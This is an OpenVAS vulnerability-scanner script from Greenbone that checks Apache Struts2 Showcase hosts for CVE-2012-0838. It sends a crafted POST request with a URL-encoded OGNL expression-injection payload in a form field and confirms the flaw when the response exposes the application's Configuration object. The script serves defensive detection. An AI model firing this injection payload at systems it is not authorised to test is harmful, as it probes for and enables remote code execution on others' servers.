Apache Struts2 Showcase Arbitrary Java Method Execution vulnerability

##############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_apache_struts_showcase_java_method_exec_vuln.nasl 5841 2017-04-03 12:46:41Z cfi $
#
# Apache Struts2 Showcase Arbitrary Java Method Execution vulnerability
#
# Authors:
# Antu Sanadi <[email protected]>
#
# Copyright:
# Copyright (c) 2012 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:apache:struts";

if(description)
{
  script_id(802425);
  script_version("$Revision: 5841 $");
  script_cve_id("CVE-2012-0838");
  script_bugtraq_id(49728);
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"$Date: 2017-04-03 14:46:41 +0200 (Mon, 03 Apr 2017) $");
  script_tag(name:"creation_date", value:"2012-03-13 14:59:53 +0530 (Tue, 13 Mar 2012)");
  script_tag(name:"qod_type", value:"remote_vul");
  script_name("Apache Struts2 Showcase Arbitrary Java Method Execution vulnerability");

  script_tag(name: "summary" , value:"This host is running Apache Struts Showcase
  and is prone to java method execution vulnerability.");

  script_tag(name: "vuldetect" , value:"Send a crafted HTTP GET request and
  check whether it is able execute java methods or not.");

  script_tag(name: "insight" , value:"The flaw is due to an improper conversion
  in OGNL expression if a non string property is contained in action.");

  script_tag(name: "impact" , value:"Successful exploitation could allow an attacker to execute arbitrary java
  method. Further that results to disclose environment variables or cause a
  denial of service or an arbitrary OS command can be executed.

  Impact Level: Application");

  script_tag(name: "affected" , value:"Apache Struts2 (Showcase) version 2.x to 2.2.3");
  script_tag(name: "solution" , value:"Upgrade to Apache Struts2  2.2.3.1 or later,
  For updates refer to http://struts.apache.org/download.cgi");

  script_tag(name:"solution_type", value:"VendorFix");

  script_xref(name : "URL" , value : "http://jvn.jp/en/jp/JVN79099262/index.html");
  script_xref(name : "URL" , value : "https://issues.apache.org/jira/browse/WW-3668");
  script_xref(name : "URL" , value : "http://jvndb.jvn.jp/en/contents/2012/JVNDB-2012-000012.html");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (c) 2012 Greenbone Networks GmbH");
  script_dependencies("gb_apache_struts2_detection.nasl");
  script_mandatory_keys("ApacheStruts/installed");
  script_family("Web application abuses");
  script_require_ports("Services/www", 8080);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

asport = 0;
asreq = "";
asres = "";
asRes = "";
asReq = "";
dir = "";
url = "";

if(!asport = get_app_port(cpe:CPE)){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:asport)){
  exit(0);
}

host = http_host_name(port:asport);

## Send and Receive the response
asreq = http_get(item:string(dir,"/showcase.action"), port:asport);
if(asreq)
{
  asres = http_keepalive_send_recv(port:asport, data:asreq);

  if(asres)
  {
    ## Confirm the application
    if(">Showcase</" >< asres && ">Struts Showcase<" >< asres)
    {
      ## Construct the POST data
      postdata = "requiredValidatorField=&requiredStringValidatorField" +
                 "=&integerValidatorField=%22%3C%27+%2B+%23application" +
                 "+%2B+%27%3E%22&dateValidatorField=&emailValidatorFie" +
                 "ld=&urlValidatorField=&stringLengthValidatorField=&r" +
                 "egexValidatorField=&fieldExpressionValidatorField=";

      url = dir + "/validation/submitFieldValidatorsExamples.action";

      ## Construct the POST request
      asReq = string("POST ", url," HTTP/1.1\r\n",
                     "Host: ", host, "\r\n",
                     "User-Agent: ", OPENVAS_HTTP_USER_AGENT, "\r\n",
                     "Content-Type: application/x-www-form-urlencoded\r\n",
                     "Content-Length: ", strlen(postdata), "\r\n",
                     "\r\n", postdata);
      asRes = http_keepalive_send_recv(port:asport, data:asReq);

      if(asRes)
      {
        ##  Confirm the exploit
        if(!isnull(asRes) &&(".template.Configuration@" >< asRes) &&
           ">Struts Showcase<" >< asRes)
        {
          security_message(asRes);
          exit(0);
        }
      }
    }
  }
}